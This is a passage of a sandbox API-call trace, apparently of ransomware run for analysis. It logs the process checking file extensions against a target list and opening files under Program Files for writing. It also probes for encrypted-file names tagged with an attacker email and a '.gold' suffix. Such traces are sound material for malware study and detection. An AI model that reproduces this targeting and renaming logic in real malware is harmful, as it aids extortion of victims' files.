72 [0044.309] lstrlenW (lpString=".doc") returned 4 [0044.309] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.309] lstrlenW (lpString=".docx") returned 5 [0044.309] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0044.309] lstrlenW (lpString=".pdf") returned 4 [0044.309] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.309] lstrlenW (lpString=".xls") returned 4 [0044.309] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.309] lstrlenW (lpString=".xlsx") returned 5 [0044.309] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0044.309] lstrlenW (lpString=".ppt") returned 4 [0044.309] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.309] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.309] lstrlenW (lpString=".zip") returned 4 [0044.309] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.309] lstrlenW (lpString=".rar") returned 4 [0044.309] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.309] lstrlenW (lpString=".bz2") returned 4 [0044.310] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString=".7z") returned 3 [0044.310] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString=".dbf") returned 4 [0044.310] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString=".1cd") returned 4 [0044.310] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString=".jpg") returned 4 [0044.310] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString=".doc") returned 4 [0044.310] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString=".docx") returned 5 [0044.310] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0044.310] lstrlenW (lpString=".pdf") returned 4 [0044.310] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString=".xls") returned 4 [0044.310] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.310] lstrlenW (lpString=".xlsx") returned 5 [0044.310] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0044.310] lstrlenW (lpString=".ppt") returned 4 [0044.310] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString=".zip") returned 4 [0044.310] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.310] lstrlenW (lpString=".rar") returned 4 [0044.310] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.310] lstrlenW (lpString=".bz2") returned 4 [0044.310] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString=".7z") returned 3 [0044.310] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString=".dbf") returned 4 [0044.310] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString=".1cd") returned 4 [0044.310] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.310] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0044.310] lstrlenW (lpString=".jpg") returned 4 [0044.310] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.311] lstrcmpiW (lpString1=".wmv", lpString2=".gold") returned 1 [0044.311] lstrlenW (lpString="Title_Trans_Notes_PAL.wmv") returned 25 [0044.311] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.655] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=741220) returned 1 [0044.656] CloseHandle (hObject=0x210) returned 1 [0044.656] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv")) returned 0x20 [0044.656] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.656] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.656] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.656] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.656] lstrlenW (lpString=".doc") returned 4 [0044.656] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0044.656] lstrlenW (lpString=".docx") returned 5 [0044.656] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0044.656] lstrlenW (lpString=".pdf") returned 4 [0044.656] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0044.656] lstrlenW (lpString=".xls") returned 4 [0044.656] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0044.656] lstrlenW (lpString=".xlsx") returned 5 [0044.656] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0044.656] lstrlenW (lpString=".ppt") returned 4 [0044.656] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0044.656] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.656] lstrlenW (lpString=".zip") returned 4 [0044.656] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0044.656] lstrlenW (lpString=".rar") returned 4 [0044.656] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0044.656] lstrlenW (lpString=".bz2") returned 4 [0044.656] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0044.656] lstrlenW (lpString=".7z") returned 3 [0044.656] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0044.656] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.656] lstrlenW (lpString=".dbf") returned 4 [0044.656] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0044.656] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.656] lstrlenW (lpString=".1cd") returned 4 [0044.656] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0044.656] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.656] lstrlenW (lpString=".jpg") returned 4 [0044.657] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.657] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.657] lstrlenW (lpString=".doc") returned 4 [0044.657] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0044.657] lstrlenW (lpString=".docx") returned 5 [0044.657] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0044.657] lstrlenW (lpString=".pdf") returned 4 [0044.657] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0044.657] lstrlenW (lpString=".xls") returned 4 [0044.657] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0044.657] lstrlenW (lpString=".xlsx") returned 5 [0044.657] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0044.657] lstrlenW (lpString=".ppt") returned 4 [0044.657] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.657] lstrlenW (lpString=".zip") returned 4 [0044.657] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0044.657] lstrlenW (lpString=".rar") returned 4 [0044.657] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0044.657] lstrlenW (lpString=".bz2") returned 4 [0044.657] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0044.657] lstrlenW (lpString=".7z") returned 3 [0044.657] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.657] lstrlenW (lpString=".dbf") returned 4 [0044.657] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.657] lstrlenW (lpString=".1cd") returned 4 [0044.657] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0044.657] lstrlenW (lpString=".jpg") returned 4 [0044.657] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0044.657] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0044.657] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0044.657] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.839] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3130) returned 1 [0044.839] CloseHandle (hObject=0x20c) returned 1 [0044.839] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png")) returned 0x20 [0044.839] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.839] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.839] lstrlenW (lpString=".doc") returned 4 [0044.839] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.839] lstrlenW (lpString=".docx") returned 5 [0044.840] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0044.840] lstrlenW (lpString=".pdf") returned 4 [0044.840] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.840] lstrlenW (lpString=".xls") returned 4 [0044.840] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.840] lstrlenW (lpString=".xlsx") returned 5 [0044.840] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0044.840] lstrlenW (lpString=".ppt") returned 4 [0044.840] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.840] lstrlenW (lpString=".zip") returned 4 [0044.840] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.840] lstrlenW (lpString=".rar") returned 4 [0044.840] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.840] lstrlenW (lpString=".bz2") returned 4 [0044.840] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.840] lstrlenW (lpString=".7z") returned 3 [0044.840] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.840] lstrlenW (lpString=".dbf") returned 4 [0044.840] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.840] lstrlenW (lpString=".1cd") returned 4 [0044.840] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.840] lstrlenW (lpString=".jpg") returned 4 [0044.840] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.840] lstrlenW (lpString=".doc") returned 4 [0044.840] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.840] lstrlenW (lpString=".docx") returned 5 [0044.840] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0044.840] lstrlenW (lpString=".pdf") returned 4 [0044.840] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.840] lstrlenW (lpString=".xls") returned 4 [0044.840] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.840] lstrlenW (lpString=".xlsx") returned 5 [0044.840] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0044.840] lstrlenW (lpString=".ppt") returned 4 [0044.840] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.840] lstrlenW (lpString=".zip") returned 4 [0044.840] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.841] lstrlenW (lpString=".rar") returned 4 [0044.841] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.841] lstrlenW (lpString=".bz2") returned 4 [0044.841] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.841] lstrlenW (lpString=".7z") returned 3 [0044.841] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.841] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.841] lstrlenW (lpString=".dbf") returned 4 [0044.841] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.841] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.841] lstrlenW (lpString=".1cd") returned 4 [0044.841] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.841] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned 98 [0044.841] lstrlenW (lpString=".jpg") returned 4 [0044.841] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.841] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0044.841] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0044.841] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.841] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=5025) returned 1 [0044.841] CloseHandle (hObject=0x20c) returned 1 [0044.841] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png")) returned 0x20 [0044.842] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.842] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.842] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.842] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.842] lstrlenW (lpString=".doc") returned 4 [0044.842] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.842] lstrlenW (lpString=".docx") returned 5 [0044.842] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0044.842] lstrlenW (lpString=".pdf") returned 4 [0044.842] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.842] lstrlenW (lpString=".xls") returned 4 [0044.842] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.842] lstrlenW (lpString=".xlsx") returned 5 [0044.842] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0044.842] lstrlenW (lpString=".ppt") returned 4 [0044.842] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.842] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.842] lstrlenW (lpString=".zip") returned 4 [0044.842] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.842] lstrlenW (lpString=".rar") returned 4 [0044.842] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.842] lstrlenW (lpString=".bz2") returned 4 [0044.842] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.842] lstrlenW (lpString=".7z") returned 3 [0044.842] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.842] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.842] lstrlenW (lpString=".dbf") returned 4 [0044.842] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.842] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.842] lstrlenW (lpString=".1cd") returned 4 [0044.842] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.842] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.842] lstrlenW (lpString=".jpg") returned 4 [0044.842] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.842] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.842] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.842] lstrlenW (lpString=".doc") returned 4 [0044.842] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.842] lstrlenW (lpString=".docx") returned 5 [0044.842] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0044.842] lstrlenW (lpString=".pdf") returned 4 [0044.842] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.842] lstrlenW (lpString=".xls") returned 4 [0044.842] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.842] lstrlenW (lpString=".xlsx") returned 5 [0044.842] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0044.842] lstrlenW (lpString=".ppt") returned 4 [0044.843] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.843] lstrlenW (lpString=".zip") returned 4 [0044.843] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.843] lstrlenW (lpString=".rar") returned 4 [0044.843] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.843] lstrlenW (lpString=".bz2") returned 4 [0044.843] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.843] lstrlenW (lpString=".7z") returned 3 [0044.843] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.843] lstrlenW (lpString=".dbf") returned 4 [0044.843] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.843] lstrlenW (lpString=".1cd") returned 4 [0044.843] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned 93 [0044.843] lstrlenW (lpString=".jpg") returned 4 [0044.843] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.843] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0044.843] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0044.843] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.843] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3118) returned 1 [0044.843] CloseHandle (hObject=0x20c) returned 1 [0044.843] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0044.843] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.843] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0044.843] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0044.843] lstrlenW (lpString=".doc") returned 4 [0044.843] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.843] lstrlenW (lpString=".docx") returned 5 [0044.844] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0044.844] lstrlenW (lpString=".pdf") returned 4 [0044.844] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.844] lstrlenW (lpString=".xls") returned 4 [0044.844] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.844] lstrlenW (lpString=".xlsx") returned 5 [0044.844] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0044.844] lstrlenW (lpString=".ppt") returned 4 [0044.844] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.844] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned 99 [0044.844] lstrlenW (lpString=".zip") returned 4 [0044.844] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.844] lstrlenW (lpString=".rar") returned 4 [0044.844] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.844] lstrlenW (lpString=".bz2") returned 4 [0044.844] lstrcmpiW 